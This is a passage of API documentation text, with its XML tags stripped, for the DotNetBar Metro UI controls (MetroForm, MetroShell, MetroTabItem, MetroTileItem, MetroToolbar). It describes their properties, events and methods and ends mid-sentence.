+ + + + + Gets or sets the border colors. + + + + + Gets or sets the inactive form border colors. + + + + + Represents the MetroForm color table. + + + + + Gets or sets the border thickness. + + + + + Gets or sets the border thickness for form when it is running on Windows without Glass effect enabled. + + + + + Gets or sets the border colors. + + + + + Gets or sets the inactive form border colors. + + + + + Gets or sets the color array for the top-border lines. + + + + + Gets or sets the color array for the bottom-border lines. + + + + + Gets or sets status bar background style. + + + + + Gets or sets the resize handle marker light color. + + + + + Gets or sets the resize handle marker color. + + + + + Gets or sets the color table for MetroTabStrip. + + + + + Gets or sets tab panel background style. + + + + + Gets or sets the color table for MetroTabItem. + + + + + Gets or sets the color of the active form caption text displayed on metro strip. + + + + + Gets or sets the color of the inactive form caption text displayed on metro strip. + + + + + Gets or sets the text formatting for caption text. + + + + + Represents MetroTabItem color table. + + + + + Gets or sets the default state tab colors. + + + + + Gets or sets the mouse over state tab colors. + + + + + Gets or sets the selected state tab colors. + + + + + Gets or sets the pressed state tab colors. + + + + + Gets or sets the disabled state tab colors. + + + + + Initializes a new instance of the MetroTabItemStateColorTable class. + + + + + + + Gets or sets the background style. + + + + + Gets or sets tabstrip background style. + + + + + Gets or sets the tile check-mark background overlay color. + + + + + Gets or sets the tile check-mark foreground overlay color. + + + + + Gets or sets toolbar background style. + + + + + Initializes the Visual Studio 2012 color scheme Metro color table based on colors specified. + + + + + Gets or sets color hue. Hue is value from 0-1 which determines the degree on color wheel color is on, i.e. 0.5 = 180 degrees + + + + + Gets or sets the color saturation from 0-1, i.e. 0-100%. + + + + + Gets or sets the amount of white and black in color. + + + + + Initializes a new instance of the HSVColor structure. + + + + + + + + Gets whether values are close. + + First value. + Second value + true if values are close enough + + + + Gets whether value is zero + + value to check + true if value is considered zero + + + + Gets whether value is not an number. + + value to test + true if value is not an number + + + + Represents the Metro application button used on MetroTab control. + + + + + Initializes a new instance of the MetroAppButton class. + + + + + Processes the Escape key when Application Button is hosting the backstage tab and uses it to close the tab if open. + This method is called from ProcessDialogKey method of MetroForm. + + Key data + true if key was used to close backstage tab + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Gets or sets whether control set on BackstageTab property is used on application menu popup. + + + + + Gets or sets the backstage tab that is displayed instead of popup menu. + + + + + Raises PrepareModalPanelBounds event. + + Provides event arguments. + + + + Initializes a new instance of the MetroForm class. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Shows the panel control in the center of the form and covers all non system controls making the panel effectively modal. + + Control to show. + + + + Shows the panel control in the center of the form by sliding it in from specified side and covers all non system controls making the panel effectively modal. + + Panel to show. + Side to slide panel into the view from. + + + + Shows the panel control in the center of the form by sliding it in from specified side and covers all non system controls making the panel effectively modal. + + Panel to show. + Side to slide panel into the view from. + Slide animation speed in milliseconds. + + + + Hides the panel control that was previously shown using ShowModalPanel method. + + Control to hide. + + + + Hides the panel control that was previously shown using ShowModalPanel method by sliding it out of the view to the specified side. + + Control to hide. + Side to slide control into. + + + + Gets effective Border Thickness for the form. + + Thickness + + + + Called when BorderThickness property has changed. + + Old property value + New property value + + + + Called when BorderColor property has changed. + + Old property value + New property value + + + + Called when WM_NCHITTEST message is received. + + Reference to message data. + Return true to call base form implementation otherwise return false. + + + + Called when WM_DWMCOMPOSITIONCHANGED message is received. + + Reference to message data. + Return true to call base form implementation otherwise return false. + + + + Called when WM_NCACTIVATE message is received. + + Reference to message data. + Return true to call base form implementation otherwise return false. + + + + Called when WM_NCCALCSIZE message is received. + + Message structure. + true to call base WndProc otherwise false. + + + + Occurs before modal panel is shown and allows change of modal panel bounds. + + + + + Gets or sets whether MetroShell is pre-rendered when form is shown to make first rendering smoother. Default value is true. + + + + + Gets whether at least one modal panel is displayed. + + + + + Indicates whether modal panel when displayed shows MetroStatusBar. + + + + + Returns whether Windows Glass effects are enabled. + + + + + Gets or sets the MetroTab that is hosted by this form. This property is for internal use only. + + + + + Gets or sets whether form can be resized. + + + + + Gets or sets the form border thickness. Default value is empty thickness which indicates that thickness is taken from MetroFormColorTable. + + + + + Gets or sets the form border colors. + + + + + Gets whether form is active. + + + + + Indicates the number of pixels subtracted from form's height or width (depending on taskbar position) when form is maximized and taskbar is in auto-hide state. Default value is 4. + + + + + This property is not to be used with MetroForm. + + + + + Gets or sets the size of the border on the edges of the form that when mouse is over allow for form resizing. + + + + + Indicates whether Close button in top-right corner of the form is visible. + + + + + This property cannot be used on MetroAppForm + + + + + This property cannot be used on MetroAppForm + + + + + This property cannot be used on MetroAppForm + + + + + This property cannot be used on MetroAppForm + + + + + Gets or sets text for form system menu Restore item. + + + + + Gets or sets text for form system menu Move item. + + + + + Gets or sets text for form system menu Size item. + + + + + Gets or sets text for form system menu Minimize item. + + + + + Gets or sets text for form system menu Maximize item. + + + + + Gets or sets text for form system menu Close item. + + + + + Initializes a new instance of the BorderOverlay class. + + + + + Delegate for PrepareModalPanelBounds event. + + + + + + + Provides data for PrepareModalPanelBounds event. + + + + + Gets or sets the bounds modal panel will occupy when shown. + + + + + Initializes a new instance of the ModalPanelBoundsEventArgs class. + + + + + + Required designer variable. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Gets or sets whether divider panel that divides message box buttons and text content is visible. Default value is true. + + + + + Gets or sets whether Text supports and renders text markup. Default value is true. + + + + + Gets or sets the anti-alias setting for text-pane. + + + + + Enumeration of available common system strings. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Loads the items for the customization from MetroTab control. Registered MetroToolbar controls are enumerated and items + are added if they have CanCustomize=true. + + MetroTab control that holds references to known MetroToolbars. + + + + Gets reference to the internal Quick Access Toolbar Customization panel. + + + + + Represents Metro Tab control, usually used as application tab but can be used as standard tab control as well. + + + + + Raises SettingsButtonClick event. + + Provides event arguments. + + + + Raises HelpButtonClick event. + + Provides event arguments. + + + + Gets the name of the QAT Customize Item which is used to display the QAT Customize Dialog box. + + + + + Gets the name of the Add to Quick Access Toolbar context menu item. + + + + + Gets the name of the Remove from Quick Access Toolbar context menu item. + + + + + Gets the name of the QAT placement change context menu item. + + + + + Gets the name of the label displayed on Quick Access Toolbar customize popup menu. + + + + + Gets the string that is used as starting name for the frequently used QAT menu items created when QAT Customize menu is displayed. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Performs the setup of the MetroTabPanel with the current style of the MetroShell Control. + + Panel to apply style changes to. + + + + Creates new Rendering Tab at specified position, creates new associated panel and adds them to the control. + + Specifies the text displayed on the tab. + Specifies the name of the tab + Specifies the position of the new tab inside of Items collection. + New instance of the MetroTabItem that was created. + + + + Creates new Rendering Tab and associated panel and adds them to the control. + + Specifies the text displayed on the tab. + Specifies the name of the tab + New instance of the MetroTabItem that was created. + + + + Recalculates layout of the control and applies any changes made to the size or position of the items contained. + + + + + Occurs when text markup link is clicked. + + + + + Called when right-mouse button is pressed over MetroTabStrip + + Reference to MetroTabStrip object. + + + + Displays popup customize context menu for given customization object. + + Object that should be customized, usually an instance of BaseItem. + Indicates whether customize menu is displayed over metro tab strip + + + + Removes an item from the Quick Access Toolbar. + + Reference to the item that is already part of Quick Access Toolbar. + + + + Adds an instance of base type BaseItem to the Quick Access Toolbar. Note that this method creates + new instance of the item or an representation of the item being added and adds that to the Quick Access Toolbar. + + Reference to the item to add, must be an BaseItem type. + + + + Raises the BeforeCustomizeMenuPopup event. + + Event arguments + + + + Raises the BeforeAddItemToQuickAccessToolbar event. + + Event arguments. + + + + Shows the quick access toolbar customize dialog. + + + + + Applies the Quick Access Toolbar customization changes made on QatCustomizePanel to the MetroShell Control Quick Access Toolbar. Note that QatCustomizePanel.DataChanged property indicates whether user made any changes to the data on the panel. + + Reference to the QatCustomizePanel + + + + Raises the AfterQatDialogChangesApplied event. + + + + + Returns the Metro Application Button. + + reference to Application Button or null if button is not found. + + + + Registers the MetroToolbar or any other DotNetBar container that implements IOwner interface so it can participate in Quick Access Toolbar serialization and customization. + + + + + + Registers the MetroToolbar or any other DotNetBar container that implements IOwner interface so it can participate in Quick Access Toolbar serialization and customization. + + + + + + Occurs just before the customize popup menu is displayed and provides the ability to cancel the menu display as well + as to add/remove the menu items from the customize popup menu. + + + + + Occurs before an item is added to the quick access toolbar as result of user action. This event provides ability to + cancel the addition of the item by setting the Cancel=true of event arguments. + + + + + Occurs before an item is removed from the quick access toolbar as result of user action. This event provides ability to + cancel the addition of the item by setting the Cancel=true of event arguments. + + + + + Occurs when DotNetBar is looking for translated text for one of the internal text that are + displayed on menus, toolbars and customize forms. You need to set Handled=true if you want + your custom text to be used instead of the built-in system value. + + + + + Occurs when Item on metro tab strip or quick access toolbar is clicked. + + + + + Occurs before Quick Access Toolbar dialog is displayed. This event provides the opportunity to cancel the showing of + built-in dialog and display custom customization dialog. You can also set the Dialog property of the event arguments to + the custom dialog you want used instead of the DotNetBar system customization dialog. + + + + + Occurs after the Quick Access Toolbar dialog is closed. + + + + + Occurs after any changes done on the Quick Access Toolbar dialog are applied to the actual Quick Access Toolbar. + + + + + Occurs after selected Metro tab has changed. You can use + MetroShell.SelectedTab + property to get reference to newly selected tab. + + + + + Occurs when text markup link from TitleText markup is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Occurs when SETTINGS button, if displayed, is clicked. + + + + + Occurs when HELP button, if displayed, is clicked. + + + + + Gets the collection of the Quick Access Toolbar Frequently used commands. You should add existing buttons to this collection that + you already have on the MetroToolbar controls or on the application menu. The list will be used to construct the frequently used + menu that is displayed when Customize Quick Access Toolbar menu is displayed and it allows end-user to remove and add these + frequently used commands to the QAT directly from this menu. + Note that items you add here should not be items that are already on Quick Access Toolbar, i.e. in MetroShell.QuickToolbarItems collection. + + + + + Gets or sets whether KeyTips functionality is enabled. Default value is true. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + Indicates whether Form.Icon is shown in top-left corner. + + + + + + Gets or sets the Context menu bar associated with the this control which is used as part of Global Items feature. The context menu + bar assigned here will be used to search for the items with the same Name or GlobalName property so global properties can be propagated when changed. + You should assign this property to enable the Global Items feature to reach your ContextMenuBar. + + + + + Gets or sets whether custom caption and quick access toolbar provided by the control is visible. Default value is false. + This property should be set to true when control is used on MetroAppForm. + + + + + Gets or sets the font for the form caption text when CaptionVisible=true. Default value is NULL which means that system font is used. + + + + + Gets or sets the explicit height of the caption provided by control. Caption height when set is composed of the TabGroupHeight and + the value specified here. Default value is 0 which means that system default caption size is used. + + + + + Gets or sets the font that is used to display Key Tips (accelerator keys) when they are displayed. Default value is null which means + that control Font is used for Key Tips display. + + + + + Specifies the background style of the control. + + + + + Gets or sets the currently selected MetroTabItem. MetroTabItems are selected using the Checked property. Only a single + MetroTabItem can be selected (Checked) at any given time. + + + + + Returns reference to internal metro tab-strip control. + + + + + Returns collection of items on a bar. + + + + + Returns collection of quick toolbar access and caption items. + + + + + Gets or sets whether mouse wheel scrolls through the Metro tabs. Default value is true. + + + + + ImageList for images used on Items. Images specified here will always be used on menu-items and are by default used on all Bars. + + + + + ImageList for medium-sized images used on Items. + + + + + ImageList for large-sized images used on Items. + + + + + Gets or sets a value indicating whether the user can give the focus to this control using the TAB key. Default value is false. + + + + + Gets or sets whether control can be customized and items added by end-user using context menu to the quick access toolbar. + Caption of the control must be visible for customization to be enabled. Default value is true. + + + + + Gets or sets whether external implementation for metro toolbar and menu item customization will be used for customizing the control. When set to true + it enables the displaying of MetroToolbar and menu item context menus which allow customization. You are responsible for + adding the menu items to context menu to handle all aspects of item customization. See "MetroShell Control Quick Access Toolbar Customization" topic in help file under How To. + Default value is false. + + + + + Gets or sets whether customize dialog is used to customize the quick access toolbar. You can handle the EnterCustomize event + to display your custom dialog instead of built-in dialog for customization. Default value is true. + + + + + Gets or sets the categorization mode for the items on Quick Access Toolbar customize dialog box. Default value categorizes + items by the toolbar they appear on. + + + + + Gets or sets the Quick Access Toolbar layout description. You can use the value obtained from this property to save + the customized Quick Access Toolbar into registry or into any other storage object. You can also set the saved layout description back + to restore user customize layout. + + + + + Gets or sets whether Quick Access Toolbar has been customized by end-user. You can use value of this property to determine + whether Quick Access Toolbar layout that can be accessed using QatLayout property should be saved. + + + + + Gets the reference to the Metro localization object which holds all system text used by the component. + + + + + Gets or sets the side tab-strip is docked to. + + + + + Gets or sets whether SETTINGS button is visible. + + + + + + Gets or sets the SETTINGS button text. + + + + + Gets or sets the HELP button text. + + + + + Gets or sets the font tab items are displayed with. + + + + + Describes the categorization mode used to categorize items on the Customize Metro dialog. + + + + + Items are automatically categorized by the toolbar they appear on. + + + + + Items are categorized by the Category property on each item. Category property should be set on each item. + + + + + Represents Metro-UI Status Bar control. + + + + + Initializes a new instance of the MetroStatusBar class. + + + + + Called when ResizeHandleVisible property has changed. + + Old property value + New property value + + + + Indicates whether items that cannot fit are displayed on popup. + + + + + Returns collection of items on a bar. + + + + + Gets or sets whether resize handle used to resize the parent form is visible. + + + + + Gets or sets spacing between items, default value is 2. + + + + + Defines the internal container item for the ribbon strip control. + + + + + Creates new instance of the class and initializes it with the parent RibbonStrip control. + + Reference to parent RibbonStrip control + + + + Paints this base container + + + + + Returns copy of GenericItemContainer item + + + + + Return Sub Item at specified location + + + + + Called when SettingsButtonText property has changed. + + Old property value + New property value + + + + Called when HelpButtonText property has changed. + + Old property value + New property value + + + + Gets reference to internal ribbon strip container that contains tabs and/or other items. + + + + + Gets reference to internal caption container item that contains the quick toolbar, start button and system caption item. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + When parent items does recalc size for its sub-items it should query + image size and store biggest image size into this property. + + + + + Gets or sets whether Settings button is visible. + + + + + Gets or sets whether Help button is visible. + + + + + Gets or sets the Settings button text. + + + + + Represents Rendering Tab used on Metro Tab Control. + + + + + Initializes a new instance of the MetroTabItem class. + + + + + Selects the tab. + + + + + Called after Checked property has changed. + + + + + Occurs just before Click event is fired. + + + + + Called when Visibility of the items has changed. + + New Visible state. + + + + Occurs after item visual style has changed. + + + + + Gets or sets cached image rendering bounds. + + + + + Gets or sets cached text rendering bounds. + + + + + Gets or sets whether tab renders its state. Used internally by DotNetBar. Do not set. + + + + + Gets or sets the additional padding added around the tab item in pixels. Default value is 0. + + + + + Gets or sets whether size of the tab has been reduced below the default calculated size. + + + + + Gets or sets the predefined color of item. Color specified here applies to items with Office 2007 style only. It does not have + any effect on other styles. Default value is eMetroTabColor.Default + + + + + Gets or sets the panel assigned to this tab item. + + + + + Gets or set the Group item belongs to. The groups allows a user to choose from mutually exclusive options within the group. The choice is reflected by Checked property. + + + + + Returns the collection of sub items. + + + + + Indicates whether the item will auto-collapse (fold) when clicked. + When item is on popup menu and this property is set to false, menu will not + close when item is clicked. + + + + + Indicates whether the item will auto-expand when clicked. + When item is on top level bar and not on menu and contains sub-items, sub-items will be shown only if user + click the expand part of the button. Setting this propert to true will expand the button and show sub-items when user + clicks anywhere inside of the button. Default value is false which indicates that button is expanded only + if its expand part is clicked. + + + + + Gets or sets whether item can be customized by end user. + + + + + Gets or set a value indicating whether the button is in the checked state. + + + + + Gets or sets whether Click event will be auto repeated when mouse button is kept pressed over the item. + + + + + Gets or sets the auto-repeat interval for the click event when mouse button is kept pressed over the item. + + + + + Gets or sets a value indicating whether the item is enabled. + + + + + Indicates item's visiblity when on pop-up menu. + + + + + Indicates when menu items are displayed when MenuVisiblity is set to VisibleIfRecentlyUsed and RecentlyUsed is true. + + + + + Indicates Animation type for Popups. + + + + + Indicates the font that will be used on the popup window. + + + + + Indicates whether sub-items are shown on popup Bar or popup menu. + + + + + Specifies the inital width for the Bar that hosts pop-up items. Applies to PopupType.Toolbar only. + + + + + Gets or sets whether item will display sub items. + + + + + Gets or sets whether the item expands automatically to fill out the remaining space inside the container. Applies to Items on stretchable, no-wrap Bars only. + + + + + Gets or sets the width of the expand part of the button item. + + + + + Gets or set the alternative shortcut text. + + + + + Gets or sets whether item separator is shown before this item. + + + + + Returns category for this item. If item cannot be customzied using the + customize dialog category is empty string. + + + + + Gets or sets the text color of the button when mouse is over the item. + + + + + Indicates the way item is painting the picture when mouse is over it. Setting the value to Color will render the image in gray-scale when mouse is not over the item. + + + + + Gets or sets the text color of the button. + + + + + Gets/Sets the button style which controls the appearance of the button elements. Changing the property can display image only, text only or image and text on the button at all times. + + + + + Specifies predefined color assigned to Metro Tab. + + + + + Represents panel used by MetroTabItem as a container panel for the control. + + + + + Creates new instance of the panel. + + + + + Indicates whether style of the panel is managed by tab control automatically. + Set this to true if you would like to control style of the panel. + + + + + Gets or sets TabItem that this panel is attached to. + + + + + Gets or sets which edge of the parent container a control is docked to. + + + + + Gets or sets the size of the control. + + + + + Gets or sets the coordinates of the upper-left corner of the control relative to the upper-left corner of its container. + + + + + Gets or sets a value indicating whether the control is displayed. + + + + + Gets or sets which edges of the control are anchored to the edges of its container. + + + + + Represents Metro-UI TabStrip control. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Occurs when text markup link is clicked. + + + + + Returns the color scheme used by control. Color scheme for Office2007 style will be retrived from the current renderer instead of + local color scheme referenced by ColorScheme property. + + An instance of ColorScheme object. + + + + Returns effective caption height. + + Caption height. + + + + Returns automatically calculated height of the control given current content. + + Height in pixels. + + + + Returns the collection of items with the specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + Indicates whether GlobalName property is used for searching. + + + + + Returns the first item that matches specified name. + + Item name to look for. + + + + + Called when ShowKeyTips on RibbonBar contained by this Ribbon is set to true + + + + + Forces the control to exit Ribbon Key-Tips mode. + + + + + Called when item on popup container is right-clicked. + + Instance of the item that is right-clicked. + + + + Starts moving of the parent form action which happens when user attempts to drag the form caption. + + + + + Returns true if point is inside the caption area. + + Client point coordinates. + True if point is inside of caption area otherwise false. + + + + Occurs when text markup link from TitleText markup is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + + Gets reference to parsed markup body element if text was markup otherwise returns null. + + + + + Gets or sets whether KeyTips functionality is enabled. Default value is true. + + + + + Gets or sets whether control can be customized and items added by end-user using context menu to the quick access toolbar. + Caption of the control must be visible for customization to be enabled. Default value is true. + + + + + Gets or sets the explicit height of the caption provided by control. Caption height when set is composed of the TabGroupHeight and + the value specified here. Default value is 0 which means that system default caption size is used. + + + + + Gets or sets whether custom caption line provided by the control is visible. Default value is false. + This property should be set to true when control is used on Office2007RibbonForm. + + + + + Gets or sets the font for the form caption text when CaptionVisible=true. Default value is NULL which means that system font is used. + + + + + Gets/Sets the visual style of the control. + + + + + Returns collection of items on a bar. + + + + + Returns currently selected MetroTabItem. MetroTabItems are selected using the Checked property. Only a single + MetroTabItem can be Checked at any given time. + + + + + Gets whether Ribbon is in key-tips mode including its child controls. + + + + + Indicates whether Form.Icon is shown in top-left corner. + + + + + Returns collection of items on a bar. + + + + + Gets the reference to the internal container item for the items displayed in control caption. + + + + + Gets the reference to the internal container for the ribbon tabs and other items. + + + + + Represents Metro Tile. + + + + + Raises CheckedChanged event. + + Provides event arguments. + + + + Raises OptionGroupChanging event. + + Provides event arguments. + + + + Creates new instance of metro tile. + + + + + Creates new instance of metro tile and assigns the name to it. + + Item name. + + + + Creates new instance of metro tile and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of the item. + + + + + Copies the MetroTileItem specific properties to new instance of the item. + + New ProgressBarItem instance. + + + + Copies the MetroTileItem specific properties to new instance of the item. + + New MetroTileItem instance. + + + + Called when NotificationMarkText property has changed. + + Old property value + New property value + + + + Called when NotificationMarkPosition property has changed. + + Old property value + New property value + + + + Called when NotificationMarkSize property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when NotificationMarkOffset property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs just before Click event is fired. + + + + + Called when TileSize property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Called when IsLeftMouseButtonDown property has changed. + + Old property value + New property value + + + + Called when IsMouseOver property has changed. + + Old property value + New property value + + + + Raises TitleTextMarkupLinkClick event. + + Provides event arguments. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Checked property has changed. + + Old property value + New property value + + + + Called when CheckBehavior property has changed. + + Old property value + New property value + + + + Called when CurrentFrame property has changed. + + Old property value + New property value + + + + Called when AutoRotateFramesInterval property has changed. + + Old property value + New property value + + + + Called when DragStartPoint property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs after Checked property has changed. + + + + + Occurs before an item in option group is checked and provides opportunity to cancel that. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Specifies maximum of 2 character text displayed inside of the notification mark on top of the button. + + + + + Indicates the position of the notification marker within the bounds of the button. + + + + + Specifies diameter of notification mark. When set to 0 system default value is used. + + + + + Gets or sets background color of the notification mark. + + + + + Specifies the offset for the notification mark relative to its position. + + + + + Gets or sets the tile size. + + + + + Gets or sets the predefined tile color for default tile frame. + + + + + Specifies the Tile style default tile frame. + + + + + Indicates the symbol displayed on face of the tile instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Gets or sets the color of the symbol. + + + + + Gets or sets the image displayed on the tile. + + + + + Gets or sets image alignment in relation to text. + + + + + Gets or sets the text associated with this item. + + + + + Gets whether left mouse button is pressed over the tile. + + + + + Gets whether mouse is over the item. + + + + + Gets or sets the tile title text displayed by default in lower left corner. + + + + + Occurs when an hyperlink in title text markup is clicked. + + + + + Gets or sets the title text font. + + + + + Gets or sets the color of the title text. + + + + + Gets or sets title text alignment. + + + + + Gets or sets the top-left location of the image. + + + + + Gets or sets whether tile is checked. + + + + + Gets or sets the automatic check behavior of metro tile. + + + + + Gets or set the Group item belongs to. The groups allows a user to choose from mutually exclusive options within the group. The choice is reflected by Checked property. + + + + + Gets the list of tile frames that are displayed when frame animation is enabled using AnimationEnabled property. + + + + + Gets or sets index of currently displayed frame in Frames collection. + + + + + Gets the index of last selected frame, i.e. before CurrentFrame was set with new value. + + + + + Gets or sets whether Frame animation is enabled when CurrentFrame has changed. Default value is true. + + + + + Gets or sets the frames animation duration in milliseconds. Default value is 800. + + + + + Gets or sets the automatic tile frame rotation interval in milliseconds. When set it will change the CurrentFrame property so each frame from Frames collection is displayed after interval set here. + + + + + Gets or sets tile background color when Enabled=false. + + + + + Gets whether item supports text markup. Default is false. + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Specifies how MetroTileItem is checked. + + + + + Metro tile item inherits the check behavior from host control. + + + + + Metro tile item cannot be checked. + + + + + Metro tile item is checked using right mouse button. + + + + + Metro tile item is checked using middle mouse button. + + + + + Metro tile item is checked using left mouse button. + + + + + Defines single frame for metro-tile item. + + + + + Initializes a new instance of the MetroTileFrame class. + + + + + Called when TitleText property has changed. + + Old property value + New property value + + + + Raises TitleTextMarkupLinkClick event. + + Provides event arguments. + + + + Called when TitleTextFont property has changed. + + Old property value + New property value + + + + Called when TitleTextColor property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when TitleTextAlignment property has changed. + + Old property value + New property value + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Called when SymbolSize property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Image property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Text property has changed. + + Old property value + New property value + + + + Called when Color property has changed. + + Old property value + New property value + + + + Called when FrameDisplayDuration property has changed. + + Old property value + New property value + + + + Occurs when text markup link is clicked. + + + + + Raises MarkupLinkClick event. + + Provides event arguments. + + + + Called when TextMarkupEnabled property has changed. + + Old property value + New property value + + + + Called when ImageTextAlignment property has changed. + + Old property value + New property value + + + + Raises the PropertyChanged event. + + Provides event arguments. + + + + Gets or sets the tile title text displayed by default in lower left corner. + + + + + Gets reference to parsed markup body element if text was markup otherwise returns null. + + + + + Occurs when an hyperlink in title text markup is clicked. + + + + + Gets or sets the title text font. + + + + + Gets or sets the color of the title text. + + + + + Gets or sets title text alignment. + + + + + Gets the effective style for the tile when TileColor property is set to predefined tile color. + + + + + Specifies the Tile style of the item. + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the tile instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Gets or sets the color of the symbol. + + + + + Gets or sets the image displayed on the tile. + + + + + Gets or sets the top-left location of the image. + + + + + Gets or sets the text associated with this item. + + + + + Gets or sets the predefined tile color. + + + + + Gets or sets the frame display duration in milliseconds during metro-tile frame animation. When not set then each frame will stay visible for duration set on MetroTileItem.AutoRotateFramesInterval. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Gets reference to parsed markup body element if text was markup otherwise returns null. + + + + + Gets or sets whether text-markup can be used in Text property. + + + + + Gets or sets image alignment in relation to text. + + + + + Occurs when property on BindingDef object has changed. + + + + + Represents panel for Metro Tiles. + + + + + Represents generic item panel container control. + + + + + Returns first checked top-level button item. + + An ButtonItem object or null if no button could be found. + + + + Adds new item to the ItemPanel based on specified ItemTemplate and sets its Text property. + + Text to assign to the item. + reference to newly created item + + + + Gets or sets default layout orientation inside the control. You can have multiple layouts inside of the control by adding + one or more instances of the ItemContainer object and chaning it's LayoutOrientation property. + + + + + Gets or sets whether items contained by container are resized to fit the container bounds. When container is in horizontal + layout mode then all items will have the same height. When container is in vertical layout mode then all items + will have the same width. Default value is true. + + + + + Gets or sets whether ButtonItem buttons when in vertical layout are fit into the available width so any text inside of them + is wrapped if needed. Default value is false. + + + + + Gets or sets the item alignment when container is in horizontal layout. Default value is Left. + + + + + Gets or sets whether items in horizontal layout are wrapped into the new line when they cannot fit allotted container size. Default value is false. + + + + + Returns collection of items on a bar. + + + + + Gets or sets the index specifying the currently selected item. + + + + + Gets the list of ButtonItem or CheckBoxItem controls that have their Checked property set to true. + + + + + Gets or sets ButtonItem or CheckBoxItem item that have their Checked property set to true. + + + + + Initializes a new instance of the MetroTilePanel class. + + + + + Gets or sets a value indicating whether the control enables the user to scroll to items placed outside of its visible boundaries. + + + + + Gets or sets spacing in pixels between items. Default value is 1. + + + + + Gets or sets whether items contained by container are resized to fit the container bounds. When container is in horizontal + layout mode then all items will have the same height. When container is in vertical layout mode then all items + will have the same width. Default value is true. + + + + + Raises ExpandedChanging event. + + Provides event arguments. + + + + Raises ExpandedChanged event. + + Provides event arguments. + + + + Initializes a new instance of the MetroStatusBar class. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Registers toolbar with MetroTab so it can participate in Quick Access Toolbar operations. + + MetroTab + + + + Unregisters previously registered toolbar from MetroTab and removes it from Quick Access Toolbar operations. + + + + + Returns automatically calculated height of the control given current content. + + Height in pixels. + + + + Called after change of active window has been detected. SetupActiveWindowTimer must be called to enable detection. + + + + + Invokes the ItemClick event. + + Reference to the item that was clicked. + + + + Called when AutoCollapse property has changed. + + Old property value + New property value + + + + Called when AnimationSpeed property has changed. + + Old property value + New property value + + + + Called when ExpandDirection property has changed. + + Old property value + New property value + + + + Occurs before Expanded property has changed, i.e. control expanded or collapsed and allows you to cancel action by setting Cancel=true on event arguments. + + + + + Occurs after Expanded property value has changed, i.e. control was expanded or collapsed. + + + + + Returns collection of items on a bar. + + + + + Gets or sets spacing between items, default value is 0. + + + + + Returns collection of items on a bar. + + + + + Gets or sets whether toolbar is attempted to be automatically registered with parent MetroShell control so it can participate in Quick Access Toolbar operations. Default value is true. + + + + + Gets or sets whether control is expanded or not. When control is expanded both main and extra toolbar items are visible. When collapsed + only main items are visible. Default value is false. + + + + + Gets or sets whether control is automatically collapsed, Expanded property set to False, if control was expanded and any button on the control was clicked or mouse is clicked elsewhere, parent form has lost input focus or some other control gains input focus. + + + + + Gets or sets the animation speed duration in milliseconds. Default value is 150 milliseconds. Set to zero, 0 to disable animation. + + + + + Gets or sets the expand direction for the toolbar. Default value is Auto. + + + + + Gets or sets whether Expand button is visible. Default value is true. + + + + + Gets or sets whether control height is set automatically based on the content. Default value is false. + + + + + Defines expand direction behavior for MetroToolbar. + + + + + Expand direction is automatically determined by the position of the control on the form. + + + + + Control is expanded up so bottom of the control is fixed. + + + + + Control sis expanded down so top of the control is fixed. + + + + + Defines the internal container item for the MetroToolbar control. + + + + + Creates new instance of the class and initializes it with the parent RibbonStrip control. + + Reference to parent MetroToolbar control + + + + Paints this base container + + + + + Returns copy of GenericItemContainer item + + + + + Called when ExpandButtonVisible property has changed. + + Old property value + New property value + + + + Gets or sets whether Expand button is visible. Default value is true. + + + + + Gets reference to container that host items. + + + + + Gets reference to container that hosts extra items. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + When parent items does recalc size for its 